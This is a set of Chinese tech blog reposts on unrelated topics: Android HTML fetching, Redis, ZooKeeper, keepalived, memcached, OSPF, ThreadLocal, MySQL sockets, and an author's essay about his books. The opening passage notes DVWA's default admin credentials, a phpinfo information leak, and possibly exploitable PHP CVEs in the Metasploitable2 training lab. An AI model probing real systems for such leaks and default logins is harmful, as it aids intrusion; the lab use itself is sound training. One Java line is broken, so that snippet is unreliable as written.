They are input on the add to your blog page. 易被攻击的web服务:DVWA 从DVWA主页可以看到:“该死的容易被攻击的web应用(DVWA)的架构为PHP/MySQ。其主要目标是要帮助安全专业人员来测试他们的技能和工具在法律允许的情况下, 帮助web开发人员更好地了解保护web应用程序的过程和作为课堂演示。 Default username = admin Default password = password 易被攻击的web服务:Information Disclosure 另外,不恰当的PHP信息披露也可以在http://<IP>/phpinfo.php找到。在这个例子里,链接地址为http://192.168.56.101/phpinfo.php。PHP 信息泄露提供了内部系统的信息和服务可以用来查找安全漏洞的版本信息。举个例子,注意到在截图中披露的 PHP 的版本是 5.2.4,可能存在可以利用的漏洞,有可能系统存在CVE--2012-1823和 CVE--2012-2311,影响PHP 5.3.12 和 5.4.x 前 5.4.2 之前的版本。 metasploitable2下载地址 http://sourceforge.net/projects/metasploitable/files/Metasploitable2 本文转自文东会博客51CTO博客,原文链接http://blog.51cto.com/hackerwang/1253904如需转载请自行联系原作者 谢文东666
一、项目背景在Android开发中有一项非常广泛的应用:Android项目获取另一个web项目的资源或者返回的数据。本博文介绍了获取另一个web项目的资源。有一个web项目,在其WebRoot文件夹下有一个静态页面test.html。现有一个Android项目要获取到该页面的html代码显示在TextView中。 二、实例代码 public class MainActivity extends Activity { private EditText txtPath; private Button btnShowHtml; private TextView txtViewHtml; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); txtPath = (EditText)this.findViewById(R.id.txtPath); btnShowHtml = (Button)this.findViewById(R.id.btnShowHtml); txtViewHtml = (TextView)this.findViewById(R.id.txtViewHtml); btnShowHtml.setOnClickListener(new ShowHtmlListener()); } private final class ShowHtmlListener implements View.OnClickListener { @Override public void onClick(View v) { String path = txtPath.getText().toString(); try { String html = HtmlService.getHtml(path); txtViewHtml.setText(html); } catch (Exception e) { Toast.makeText(MainActivity.this, "获取网页元素失败", Toast.LENGTH_SHORT).show(); } } } } package cn.xy.html.service; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; import cn.xy.html.util.IOUtils; /** * Html获取业务类 * @author 徐越 */ public class HtmlService { /** * 获取网页html源代码 * @param path * @return */ public static String getHtml(String path) throws Exception { String html = ""; // 把路径包装成URL对象 URL url = new path); // 基于http协议的连接对象 HttpURLConnection conn = (HttpURLConnection) url.openConnection(); // 超时时间5s conn.setReadTimeout(5000); // 获取传输方式 conn.setRequestMethod("GET"); // 若响应码为200说明请求成功 if(200 == conn.getResponseCode()) { InputStream instream = conn.getInputStream(); byte[] data = IOUtils.read(instream); // 真实情况是读出请求头的charset值 html = new String(data,"UTF-8"); } return html; } } package cn.xy.html.util; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; /** * IO操作工具类 * @author 徐越 */ public class IOUtils { /** * 获取输入流的方法 */ public static byte[] read(InputStream instream) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = 0; while ((len = instream.read(buffer)) != -1) { bos.write(buffer, 0, len); } return bos.toByteArray(); } } <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="网络页面路径" /> <!-- 网址输入不能使localhost或127.0.0.1 --> <!-- 因为android是一个操作系统,输入localhost或127.0.0.1会到本操作系统下去找某web应用,所以要使用局域网的ip --> <EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/txtPath" android:text="http://xxx.xxx.xxx.xxx:8080/ad_20_web/test.html" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="获取html" android:id="@+id/btnShowHtml" /> <ScrollView android:layout_width="wrap_content" android:layout_height="wrap_content"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/txtViewHtml" /> </ScrollView> ScrollView标签为TextView增加滚动条。 当然不能忘记访问网络需要权限 <!-- 访问网络权限 --> <uses-permission android:name="android.permission.INTERNET" /> 三、总结HtmlService中的方法其实可以获取任意类型的数据,因为其中一个环节是获取了byte[],拿到这个字节数组后我们可以根据不同类型的数据进行不同的操作。比如拿到一个图片byte[],就需要使用Bitmap工厂将其转化为Bitmap然后赋给ImageView控件。所以我们要熟悉获取网络资源的一般步骤。 本文转自IT徐胖子的专栏博客51CTO博客,原文链接http://blog.51cto.com/woshixy/1087182如需转载请自行联系原作者 woshixuye111
有时XML的某些内容是待定的,对于这些内容可以在XML文件中使用占位符 <people> <person id="001"> <name>$name</name> <age>$age</age> </person> </people> 读取该文件的时候可以为其中的占位符设置值 /** * IO操作工具类 * * @author 徐越 * */ public class IOUtils { /** * 读取输入流为byte[]数组 */ public static byte[] read(InputStream instream) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = 0; while ((len = instream.read(buffer)) != -1) { bos.write(buffer, 0, len); } return bos.toByteArray(); } } InputStream instream = this.getClass().getClassLoader().getResourceAsStream("person.xml"); String oldXML = new String(IOUtils.read(instream), "UTF-8"); String newXML = oldXML.replaceAll("\\$name", "徐越").replaceAll("\\$age","22"); 要说明的是replaceAll第一个参数是正则表达式,正则表达式中$需要用\转义。 Java中对\又需要用\进行转义,所以写成\\$name 。 本文转自IT徐胖子的专栏博客51CTO博客,原文链接http://blog.51cto.com/woshixy/1092051如需转载请自行联系原作者 woshixuye111
下载redis-3.0.7.tar.gz包 tar -zxvf redis-3.0.7.tar.gz cd redis-3.0.7 make 前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。 异常一: make[2]: cc: Command not found 异常原因:没有安装gcc 解决方案:yum install gcc-c++ 异常二: zmalloc.h:51:31: error: jemalloc/jemalloc.h: No such file or directory 异常原因:一些编译依赖或原来编译遗留出现的问题 解决方案:make distclean。清理一下,然后再make。 在make成功以后,需要make test。在make test出现异常。 异常一: couldn't execute "tclsh8.5": no such file or directory 异常原因:没有安装tcl 解决方案:yum install -y tcl 在make成功以后,会在src目录下多出一些可执行文件:redis-server,redis-cli等等。 方便期间用cp命令复制到usr目录下运行。 cp redis-server /usr/local/bin/ cp redis-cli /usr/local/bin/ 然后新建目录,存放配置文件 mkdir /etc/redis mkdir /var/redis mkdir /var/redis/log mkdir /var/redis/run mkdir /var/redis/6379 在redis解压根目录中找到配置文件模板,复制到如下位置。 cp redis.conf /etc/redis/6379.conf 通过vim命令修改 daemonize yes pidfile /var/redis/run/redis_6379.pid logfile /var/redis/log/redis_6379.log dir /var/redis/6379 最后运行redis: $ redis-server /etc/redis/6379.conf 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1753588如需转载请自行联系原作者 laihuadongcto
一、提出问题 Tomcat作为容器,先将JSP转换为Servlet类源文件(.java),再将该源文件编译为Servlet类(.class)。那么这两个文件在容器的生命位置呢? 二、解决办法 以Test项目为例 在H:\tomcat\work\Catalina\localhost\test\org\apache\jsp文件夹中会发现上述两个文件。 本文转自IT徐胖子的专栏博客51CTO博客,原文链接http://blog.51cto.com/woshixy/1166296如需转载请自行联系原作者 woshixuye111
codis codis-ha主从切换后服务器标记为offline,主要基于数据安全考虑,此时需要人工操作恢复主从关系 在offline的节点执行添加到组群命令,执行后offline的主机会重新与同组的master主机建立关系. [codis@192_168_171_137 sample]$ ../bin/codis-config -c config.ini -L ./log/cconfig.log server add 4 192.168.171.140:6381 slave { "msg": "OK", "ret": 0 } 启动 nohup ../bin/codis-server ./redis_conf/6381.conf &> ./log/redis_6381.log & nohup ../bin/codis-server ./redis_conf/6382.conf &> ./log/redis_6382.log & 删除某一组 ../bin/codis-config -c config.ini -L ./log/config.log server remove-group 4 某一台主机 ../bin/codis-config -c config.ini -L ./log/cconfig.log server promote 1 192.168.174.135:6381 ../bin/codis-config -c config.ini -L ./log/cconfig.log server promote 2 192.168.174.136:6381 ../bin/codis-config -c config.ini -L ./log/cconfig.log server remove 1 192.168.174.135:6381 ../bin/codis-config -c config.ini -L ./log/cconfig.log server remove 2 192.168.174.136:6381 ./codis-ha --codis-config=192.168.171.135:18087 --productName=redis_cluster1 & 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1769647如需转载请自行联系原作者 laihuadongcto
zookeeper的安装 tar -zxvf zookeeper-3.4.8.tar.gz mv zookeeper-3.4.8 /usr/local/ 修改zk的配置文件 cp zoo_sample.cfg zoo.cfg tickTime: zookeeper中使用的基本时间单位, 毫秒值. dataDir: 数据目录. 可以是任意目录. dataLogDir: log目录, 同样可以是任意目录. 如果没有设置该参数, 将使用和dataDir相同的设置. clientPort: 监听client连接的端口号 initLimit: zookeeper集群中的包含多台server, 其中一台为leader, 集群中其余的server为follower. initLimit参数配置初始化连接时, follower和leader之间的最长心跳时间. 此时该参数设置为5, 说明时间限制为5倍tickTime, 即5*2000=10000ms=10s. syncLimit: 该参数配置leader和follower之间发送消息, 请求和应答的最大时间长度. 此时该参数设置为2, 说明时间限制为2倍tickTime, 即4000ms. server.X=A:B:C 其中X是一个数字, 表示这是第几号server. A是该server所在的IP地址. B配置该server和集群中的leader交换消息所使用的端口. C配置选举leader时所使用的端口. 由于配置的是伪集群模式, 所以各个server的B, C参数必须不同. tickTime=2000 initLimit=5 syncLimit=2 dataDir=/opt/zookeeper/data dataLogDir=/opt/zookeeper/log clientPort=2181 因为我们只有一台测试机,所有server 就按照这个模式去写,注意端口(不同服务器端口可以一样) server.1=127.0.0.1:2887:3887 server.2=127.0.0.1:2888:3888 server.3=127.0.0.1:2889:3889 完成配置以后,将zookeeper目录拷贝两份v1/v2 修改clientport=2182/2183既可以 创建数据目录 mkdir -p /opt/zookeeper/{data,logs} 目录分别对应3个节点 分别在各自的data目录下touch myid的文件 echo 1/2/3 > myid 数字就是对应每个节点的server.X 最后启动3个节点 ./zkServer.sh start ./zkServer.sh status来查看哪一个是leader 那些是follower 一般最先启动的是leader 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1782234如需转载请自行联系原作者 laihuadongcto
最近测试了一下mysql+keepalived实现主从自动切换,主从都需要安装keepalived,使用vip漂移实现主从自动切换,这里主要记录的是keepalived的文件配置。 安装就不用多说了,编译或者yum安装都可以,编译安装的话注意将keepalived的执行命令cp到/usr/sbin 以及/etc/init.d/ 配置文件可以默认cp到 /etc/keepalived/ 主:172.16.171.130 从:172.16.171.140 vip: 172.16.171.120 两台服务器配置的均是BACKUP,主机优先级是100,从机优先级是90.均为非抢占模式nopreempt(只有BACKUP才可以设置为nopreempt),设置非抢占模式后,在原主机恢复并正常启动keepalived后,不会自动切回,若想切回master,只需去掉该节点的nopreempt选项并且将priority改的比其他节点大,然后重新加载配置文件即可(等MASTER切过来之后再将配置文件改回去再reload一下)。 notify_master 是切换为master时执行的脚本,主要用于判断主从是否已同步,并记录下主从切换时的日志位置。 notify_backup 是切换为backup时执行的脚本,主要是修改一些使用于从库的参数。 nofify_stop 是keepalived服务停掉后执行的脚本,主要是配置一些参数,并判断是否存在写操作。 notify_down /data/mysql/bin/MySQL.sh部分是在mysql 3306端口不通时执行的操作,脚本内容是: #! /bin/sh pkill keepalived 修改keepalived配置文件: ! Configuration File for keepalived ####global_defs区域 #####主要是配置故障发生时的通知对象以及机器标识 global_defs { notification_email{ XXXX } notification_email_from XXX smtp_server 127.0.0.1 smtp_connect_timeout 30 router_id KeepAlive_Mysql } #####用来做健康检查的,当时检查失败时会将vrrp_instance的priority减少相应的值 默认是按照priority的优先级,当MASTER改为BUCKUP时 nopreempt才能生效 vrrp_instance VI_1 { state MASTER nopreempt interface eth0 virtual_router_id 51 priority 100 advert_int 1 authentication { auth_type PASS auth_pass 1111 } smtp_alert #########增加虚拟IP地址 virtual_ipaddress { 172.16.171.120/24 brd 172.16.171.255 dev eth0 label eth0:1 } } ####配置虚拟IP端口 virtual_server 172.16.171.120 80 { delay_loop 2 lb_algo wrr lb_kind DR persistence_timeout 60 protocol TCP real_server 172.16.171.130 80 { weight 3 notify_down /etc/keepalived/pkill.sh TCP_CHECK { connect_timeout 10 nb_get_retry 3 delay_before_retry 3 connect_port 80 } } } 最后service keepalived start ifconfig查看 绑定的虚拟IP是否成立 只要keeplived 重启或者挂掉 虚拟IP就会自动切换到另外一台,配置master的server 当keepalived启动后,会自动切换回IP! 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1793418如需转载请自行联系原作者 laihuadongcto
今天有台服务器需要迁移业务安装memcached,以前没有安装过,按照网上步骤尝试了下,并且记录了安装过程。 安装包准备: libevent-1.4.14b-stable.tar.gz memcached-1.4.5.tar.gz 首先安装libevent: tar zxvf libevent-1.4.14-stable.tar.gz -C /usr/local/ cd libevent-1.4.14-stable/ ./configure -prefix=/usr/libevent make && make install 然后安装memcached tar zxvf memcached-1.4.5.tar.gz -C /usr/local cd /usr/local/memcached-1.4.5/ ./configure -with-libevent=/usr/libevent/ -prefix=/usr/local/memcached make && make install 创建软连接方便以后使用: ln -s /usr/local/memcached/bin/memcached /usr/local/bin/ 启动memcached /usr/local/memcached/bin/memcached -p 11211 -u root 在启动的时候,突然报错: ./bin/memcached: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory 原因:没有建立libevent动态库 解决方案: 装完libevent之后为了让动态链接库为系统所共享,需要执行以下动态链接库的管理命令ldconfig 1、我们使用find命令找到我们的libevent-1.4.so.2 find /usr/local/ -name libevent-1.4.so.2 /usr/local/libevent-1.4.14b-stable/.libs/libevent-1.4.so.2 2、使用debug信息查看程序去哪里寻找共享文件库 LD_DEBUG=libs /usr/local/bin/memcached -v 我们看到:trying file=/usr/lib64/libevent-1.4.so.2 这个时候,我直接做了个软链接(网上还有更多的步骤,还在研究) ln -s /usr/local/libevent-1.4.14b-stable/.libs/libevent-1.4.so.2 /usr/lib64/libevent-1.4.so.2 然后启动服务成功。 服务参数:http://alca0126.blog.51cto.com/7826974/1771900 参考文献:http://www.cnblogs.com/carbon3/p/5870230.html http://chenzhou123520.iteye.com/blog/1925196 本文转自岁月丶倾城博客51CTO博客,原文链接http://blog.51cto.com/alca0126/1966906如需转载请自行联系原作者 laihuadongcto
实验名称 OSPF单区域基本配置 实验目的 掌握OSPF基本配置技术 实验设备 Cisco3640路由器3台,网线多根。 背景描述 本实验以3台Cisco3640路由器为例来模拟该环境。 试验拓扑 实验步骤 ****************************************** r1 ****************************************** en conf t ho r1 int lo 0 ip add 10.1.1.1 255.0.0.0 exit int s0/1 ip add 192.168.10.1 255.255.255.0 no shut exit router ospf 10 network 192.168.10.0 0.0.0.255 area 0 network 10.0.0.0 0.255.255.255 area 0 ***************************************** r2 ***************************************** en conf t ho r2 int lo 0 ip add 20.1.1.1 255.0.0.0 exit int s0/1 ip add 192.168.10.2 255.255.255.0 no shut exit int e1/0 ip add 192.168.20.1 255.255.255.0 no shut exit router ospf 20 network 192.168.10.0 0.0.0.255 area 0 network 192.168.20.0 0.0.0.255 area 0 network 20.0.0.0 0.255.255.255 area 0 ***************************************** r3 ***************************************** en conf t ho r3 int lo 0 ip add 30.1.1.1 255.0.0.0 exit int e0/0 ip add 192.168.20.2 255.255.255.0 no shut exit router ospf 30 network 192.168.20.0 0.0.0.255 area 0 network 30.0.0.0 0.255.255.255 area 0 ************************* 查看 ************************* show ip ospf neighbor show ip ospf database show ip route show ip ospf interface s0/1 | e0/0 |e1/0 本文转自自由心行博客51CTO博客,原文链接http://blog.51cto.com/xiaojiang2008/85000如需转载请自行联系原作者 xiaojiang
一、测试代码 public class XY_ThreadData { private static Integer data = 0; private static Map<Thread, Integer> map = new HashMap<Thread, Integer>(); private static ThreadLocal<Integer> local = new ThreadLocal<Integer>(); public static void setData(Integer value) { data = value; } public static Integer getData() { System.out.println("ThreadName:" + Thread.currentThread() + " data value:" + data); return data; } public static void setMapData(Integer value) { map.put(Thread.currentThread(), value); } public static Integer getMapData() { Object obj = map.get(Thread.currentThread()); System.out.println("ThreadName:" + Thread.currentThread() + "map value:" + obj); return Integer.parseInt(obj.toString()); } public static void setThreadLocalData(Integer value) { local.set(value); } public static Integer getThreadLocalData() { Object obj = local.get(); System.out.println("ThreadName:" + Thread.currentThread() + "threadlocal value:" + obj); return Integer.parseInt(obj.toString()); } } public class XY_ThreadData_Test { public static void main(String[] args) { for (int i = 0; i < 10; i++) { new Thread(new Runnable() { public void run() { final int value = new Random().nextInt(); // 每个线程自己创建的变量 XY_ThreadData.setData(value); XY_ThreadData.getData(); } }).start(); } } } ThreadName:Thread[Thread-3,5,main] data value:1046062244 ThreadName:Thread[Thread-6,5,main] data value:-879673875 ThreadName:Thread[Thread-2,5,main] data value:-125397465 ThreadName:Thread[Thread-4,5,main] data value:-1546413071 ThreadName:Thread[Thread-0,5,main] data value:754770101 ThreadName:Thread[Thread-8,5,main] data value:-1666786926 ThreadName:Thread[Thread-5,5,main] data value:-1666786926 ThreadName:Thread[Thread-9,5,main] data value:1046062244 ThreadName:Thread[Thread-1,5,main] data value:269410746 ThreadName:Thread[Thread-7,5,main] data value:269410746 分析:可以看到以下两个线程中data的值时一样的,没有做到各个线程变量独一份 ThreadName:Thread[Thread-8,5,main] data value:-1666786926 ThreadName:Thread[Thread-5,5,main] data value:-1666786926 public class XY_ThreadData_Test { public static void main(String[] args) { for (int i = 0; i < 10; i++) { new Thread(new Runnable() { public void run() { final int value = new Random().nextInt(); XY_ThreadData.setMapData(value); XY_ThreadData.getMapData(); } }).start(); } } } ThreadName:Thread[Thread-0,5,main]map value:-1138167111 ThreadName:Thread[Thread-4,5,main]map value:-1545929782 ThreadName:Thread[Thread-6,5,main]map value:-1612385717 ThreadName:Thread[Thread-3,5,main]map value:-1390594683 ThreadName:Thread[Thread-8,5,main]map value:518506934 ThreadName:Thread[Thread-2,5,main]map value:1583239372 ThreadName:Thread[Thread-5,5,main]map value:995578601 ThreadName:Thread[Thread-1,5,main]map value:-916627474 ThreadName:Thread[Thread-7,5,main]map value:-960206804 ThreadName:Thread[Thread-9,5,main]map value:-1187504747 分析:模拟线程变量独一份,无重复 public class XY_ThreadData_Test { public static void main(String[] args) { for (int i = 0; i < 10; i++) { new Thread(new Runnable() { public void run() { final int value = new Random().nextInt(); XY_ThreadData.setThreadLocalData(value); XY_ThreadData.getThreadLocalData(); } }).start(); } } } ThreadName:Thread[Thread-1,5,main]threadlocal value:935024745 ThreadName:Thread[Thread-4,5,main]threadlocal value:1207176846 ThreadName:Thread[Thread-7,5,main]threadlocal value:-1503260374 ThreadName:Thread[Thread-9,5,main]threadlocal value:-1538563684 ThreadName:Thread[Thread-6,5,main]threadlocal value:955259906 ThreadName:Thread[Thread-8,5,main]threadlocal value:894428541 ThreadName:Thread[Thread-3,5,main]threadlocal value:730986356 ThreadName:Thread[Thread-2,5,main]threadlocal value:-540225655 ThreadName:Thread[Thread-5,5,main]threadlocal value:-2003809947 ThreadName:Thread[Thread-0,5,main]threadlocal value:1917431015 分析:线程变量独一份,无重复 二、ThreadLocal分析 要点1 ThreadLocal不是用来解决共享对象的多线程访问问题的,一般情况下通过ThreadLocal.set()到线程中的对象是该线程自己使用的对象,其他线程是不需要访问的,也访问不到的。各个线程中访问的是不同的对象。 要点2 说ThreadLocal使得各线程能够保持各自独立的一个对象,并不是通过ThreadLocal.set()来实现的,而是通过每个线程中的new对象的操作来创建的对象,每个线程创建一个,不是什么对象的拷贝或副本。通ThreadLocal.set()将这个新创建的对象的引用保存到各线程的自己的一个map中,每个线程都有这样一个map,执行ThreadLocal.get()时,各线程从自己的map中取出放进去的对象,因此取出来的是各自自己线程中的对象,ThreadLocal实例是作为map的key来使用的。 要点3 如果ThreadLocal.set()进去的东西本来就是多个线程共享的同一个对象,那么多个线程的ThreadLocal.get()取得的还是这个共享对象本身,还是有并发访问问题。 更多关于ThreadLocal信息请参看:http://www.iteye.com/topic/103804 本文转自IT徐胖子的专栏博客51CTO博客,原文链接http://blog.51cto.com/woshixy/1275284如需转载请自行联系原作者 woshixuye111
关于Can't connect to local MySQL server through socket '/tmp/mysql.sock' 的问题找不到mysql socket的问题, 首先是mysqld启动不了, 我通过vim /etc/my.cnf,修改了[mysqld]选项下面的socket的值 socket=/var/lib/mysql/mysql.sock ok,mysqld可以启动了 接下来,是mysql启动不了,同样,vim /etc/my.cnf,添加了如下脚本: [mysql] socket=/var/lib/mysql/mysql.sock 然后,mysqladmin启动不了,还是一样,在[mysqladmin]下面socket值设置为同样的路径 ok,可以启动了 最后,用php连接的时候,又出现这个问题了 Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) 我首先想到的是,在/etc/php.ini修改mysql.default_socket的值,在这个文件中,关于mysql.default_socket的值的说明是这样的, ; Default socket name for local MySQL connects. If empty, uses the built-in MySQL defaults. 这个值一开始是空的,也就是说,如果我们不主动去修改的话,php将会使用内建在mysql中的默认值 于是,我修改了这个值,设置为: mysql.default_socket=/var/lib/mysql/mysql.sock 然后我重新启动apache,结果无效;reboot系统,结果无效 ,php就非得去连接/tmp/mysql.sock,可是我的系统里面就是没有这个路径下的这个文件,那我就给你链接一个,于是我做了下面的操作, ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock 重新打开我的php页面,ok,这下能连接到数据库了。 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/835285如需转载请自行联系原作者 yangzhimingg
书接上一回 n 再版之作 最后说一下花了我前年下半年和去年一年时间所编写的《网管员必读》系列第二版。 说起这套书,作为作者的我,既有内心满足和自豪的一面,又真有说不完的辛酸,吐不尽的真情实感。满足的是无论是第一版,还是第二版,均得到了广大读者的认可和支持,取得了较好的社会和经济效益。每当看到读者QQ群和邮箱中每天有那么多读者加入进来,并且一上来就给予了我的书充分肯定时,有着无比的成就感和满足感,至少我的努力得到了许许多多读者的认可。更加自豪的是,我的这几套书都有大量的高等院校和培训机构(全国有好几十家)采用作为教学或培训教材,《网管第一课》系列还被信产部指定为“网管师”资格认证官方培训教材(信产部网管师资格认证管理办公室官方网址:[url]http://www.adminren.org/news_cn.jsp?nid=169&cid=12[/url])。辛酸的是我为这套书所付出没有多少人能理解,总有那么少数几个不知名的人在背后有意或无意地攻击我。 我为这套所付出的心血之多,现在回想起来真出乎我自己的意料,每本书那么厚,现在想起来真有些害怕,我都不知道我当时是如何克服的。非常实际地说,这套书的每一本都凝聚了我大量从没有休息日,没有白天和晚上的付出。就拿现在出的第二版来说吧。第二版与第一版相比,改动之大,质量提高之大,几乎是所同时有买过我的第一版《网管员必读》系列丛书的读者都深有感触。如果我不是抱着对读者的负责,对自己的负责态度去写的话,我完全没必要相对第一版做如此大的改动,花如此多的心血和时间。但考虑到,我的十几万第一版读者的期待,我在决定写第二版时就下定决心对第一版进行全面改进,全面部署整套书的知识体系架构和内容,去掉一些读者通过第一版就已经掌握,或者已不再是当前主流的技术和应用的内容,新增了大量大中型企业网络管理中才需要用到的应用、管理方法、经验与技巧,使我的第一版读者也可以跟着我得到同步成长,实现成功的职业晋级。对于第二版的改动,现在回过头去看每一本书,连我自己都对自己说:真了不起!第二版中,我一起写了九本书,平均下来都超过600页大16开,9本书,起码是5400页。在内容方面,在删除了第一版起码1/3以上内容的基础上,平均每本书的新增篇幅都在200页以上(有两本是全新的),总体改动(包括修改和新增部分)内容都在500页左右。而且还要力求所有内容均是当前最新、最主流,符合大中型企业网络管理实际需求。这些都不是一般作者可以做到的。像《网络基础》第二版和《服务器与数据存储》第二版这两本,尽管与第一版一样,都属于基础理论的,但改动也起码在50%以上;《网络应用》第二版这本可以说百分百重写,因为软件版本较第一版都已升级;《网络组建》第二版、《网络管理》第二版、《网络安全》第二版和《超级网管经验谈》第二版这四本书的改动至少在70%以上;后面新加的《网络术语案头宝典》和《网络测试、监控和实验》这两本书则是完全的新书。 经常有读者问我,这个系列哪本书最好,最实用。说句实话,我的确想给这些读者回答,找一本认为是最好的书。我也曾不止一次去一本本看这九本图书的内容,可每次最终我不得不对读者说,我真不知道哪本是最好的。因为我自己都不得不承认的是,其中的每一本都是精品,每本书中都有大量连我自己都感到自豪,非常实用、非常专业的内容。这的确如此,没有半点自夸。因为在编写这九本书之初,就已已抱着对读者的高度负责心态去写,都是在走实用路线,都付出了我极多的心血和努力。这个系列的每一本书都只介绍了网络管理职业的一个方面,而每一本书我都力求写得最好,写成经典,写成让最大多数读者认可的好书。 对于网络管理员这个职业来说,没有哪一本不是必须的,至于读者具体最需要哪本,就要看对应读者在哪方面最欠缺,在实际工作中最需要而定。对于绝大多数以前没有系统学习过的网管朋友来说,我历来建议大家全套购买,进行系统地学习。这样经过一年左右的系统学习,你就会觉得有相当大的提高,这不是我自己说的,是经过无数读者证实过的。我写的这九本书依次是《网管员必读——网络基础》(第2版)、《网管员必读——网络应用》(第2版)、《网管员必读——网络组建》(第2版)、《网管员必读——网络管理》(第2版)、《网管员必读——网络安全》(第2版)、《网管员必读——超级网管经验谈》(第2版)、《网管员必读——服务器与数据存储》(第2版)、《网管员必读——网络术语案头宝典》和《网管员必读——网络测试、监控和实验》。 不过,有许多读者喜欢看实操型的,如果这样理解的话,那这个系列中,《网管员必读——网络应用》(第2版)、《网管员必读——网络组建》(第2版)、《网管员必读——网络管理》(第2版)、《网管员必读——超级网管经验谈》(第2版)和《网管员必读——网络测试、监控和实验》就最具代表性了。其中的每一本都有大量实操的案例,特别是《网管员必读——网络应用》(第2版)、《网管员必读——超级网管经验谈》(第2版)和《网管员必读——网络测试、监控和实验》这三者,可以说是百分百实操,得到了极其广泛的读者认可和支持。 n 后续方向 目前在完成《网络工程师必读》系列后面几本书的编写,完成后将写两套高端的《精通》系列(具体内容暂时保密,可以加入我的读者QQ群了解,群号在博客首页中有),这样就可以继续完善我的整个图书产品体系结构,真正形成高、中、低全方位覆盖(共五大系列,在10个数字中,我最喜欢就是“5”)。后面就是对这五套书的改版和维护了(五大系列轮流改版一次至少5年),这可能就是我这一生整个著书生涯了。 n 关于批评和攻击 有句话是说“木秀于林,风必摧之”,尽管我还不符合这句话,但也确实在我的书有了一定影响力后,来自各方面的批评和攻击多了许多。当然这一切都似乎是合情合理的,因为作为一个稍具影响力的IT图书作者,读者和社会对我更高要求是应该的,也理应感到自豪。对于这些批评和攻击我一惯的做法是虚心接受、积极面对、合理反击。对于善意的批评,如书中出现的一些错误,或者对书提出一些改进建议,我都是虚心的接受,并且面对现实,努力改进。可也有一些人出于某种目的,对我个人进行攻击(有些是出于商业目的,有些是曾经被我从我的QQ群中清理出去的),说什么书的水平低啊,我本人没水平啊,说什么死菜之类的,我是不能完全接受的。试想一下,有哪个人能对所有行业,或者就所有IT领域都精通呢?我的书水平低不低,不是某个人说了算的,还是要由广大读者来评判。即使图书水平真的是低,只要我的书能帮助需要我的书广大读者,也达到了我写书的目的,写书的目的不就这样,还有什么呢?写书不是技术竞赛,更不是人与人之间的PK。网络所涉及的领域如此之广,我还有许多地方不精,甚至不懂,但凭我自己的能力来说,我能懂得这样广泛的领域,自己已经知足了。 说句实话,写书并不是一般人想象得那么简单,或许许多多技术非常专业,曾试图写书的人都会深有体会。尽管书中可能还有一些帮助方面的内容,但绝不是直接把帮助内容往上搬就可以的,因为帮助内容是不系统,更不可能符合书的特点和知识体系架构,要真正把帮助内容放进去,让读者有一个连累的知识体系非常不容易。不信,大家可以自己策划一本书,看是不是仅需要把帮助内容放进去就行了的。如果你真这么做了,肯定是没有出版社愿意出你的书的。写书不仅是技术水平的再现,还要有相当的文字功底,具有相当的读者需求和当前主流技术、产品和应用的把握能力,更需要系统、全面的知识体系,不是随便把自己以前熟悉的写进去就行了的。否则一本书就不可能全面、系统,更谈不上专业,因为专业是建立在系统基础之上的。所以我劝这些喜欢说人家坏话的人,不妨先自己试一下,自己的水平怎么样,再看一下人家的书中内容,是否自己都已全部掌握。否则建议就不要在那里指手划脚,但善意的批评是欢迎的,毕竟有助于共同提高。或者你真的水平很高,建议你出一高水平的书给大家鉴赏,让大家分享你的高水平,这样才能让人家心服口服。相比我们平时的工作,写书要累多了。平时我们可以在睡眠不足的情况下来完成,而写书必须是在头脑特别清醒的时间来做,所以我一般一天只利用早上6~11之间的5个小时来写稿,其他时间基本上都是用来进行稿件修改的。 唉,不多说了,不管结果如何,我的著书生涯也快过半了,是与非,成与败,相信广大读者自会给我一个公断。我永远只追求大多数人的支持,从不奢求得到所有人的认可。事实上也没有人,没有哪件事能得到所有的支持与认可,何况是我这样一个普通公民呢? 本文转自王达博客51CTO博客,原文链接http://blog.51cto.com/winda/74063如需转载请自行联系原作者 茶乡浪子
